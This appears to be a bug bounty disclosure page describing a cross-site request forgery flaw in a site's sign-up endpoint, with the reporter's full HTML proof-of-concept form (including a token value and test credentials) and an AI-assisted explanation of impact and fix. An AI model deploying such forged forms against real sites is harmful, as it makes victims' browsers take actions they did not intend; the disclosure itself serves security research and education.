Sign up CSRF
The sign-up endpoint accepted a cross-site form submission, so an attacker could force a victim's browser to create an account and land them on the home dashboard. The report claims the authenticity token present in the form did not prevent the cross-site request.
Originally disclosed on HackerOne
- Triaged in 27 hours
- Fixed in 5 days
- Disclosed after 9 days
Any user can be forced to sign up and presented with a home dash board . here is the csrf
<html> <!-- CSRF PoC Chandrakant --> <body> <form action="https://staging.factlink.com/users/sign_in_or_up/up" method="POST"> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="authenticity_token" value="mDOtU6Iz1eYGyFYolgEMlTEcX0JGiO1Y1iCWbIb6qhY=" /> <input type="hidden" name="user_new_account[full_name]" value="test" /> <input type="hidden" name="user_new_account[email]" value="test@gmail.com" /> <input type="hidden" name="user_new_account[password]" value="chandra2123" /> <input type="hidden" name="user_new_account[password_confirmation]" value="chandra@123" /> <input type="submit" value="Submit request" /> </form> </body> </html>Save this any name.html and then double clik you will be presented as home panel authentication token is there but that is not preventing csrf issue .
Remediation : Use CSRF token .
Thanks CKN
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could force a victim to create an account on the site and be shown the home dashboard, though the report does not show any further harm beyond that.
What the attacker needed
Victim opens a malicious HTML page; victim's browser sends the form
The fix
The sign-up endpoint should use a CSRF token to prevent cross-site submissions.
How it was found
- Save the provided HTML page locally.
- Open the saved file by double-clicking it in a browser.
- The sign-up form is submitted and the home dashboard is shown.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF (cross-site request forgery) is when a malicious page makes your browser send a request to another site while you are logged in or browsing it. Here a page with a hidden form could submit the sign-up request for the visitor without their intent. The report says a security token was in the form but it still did not stop the request.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.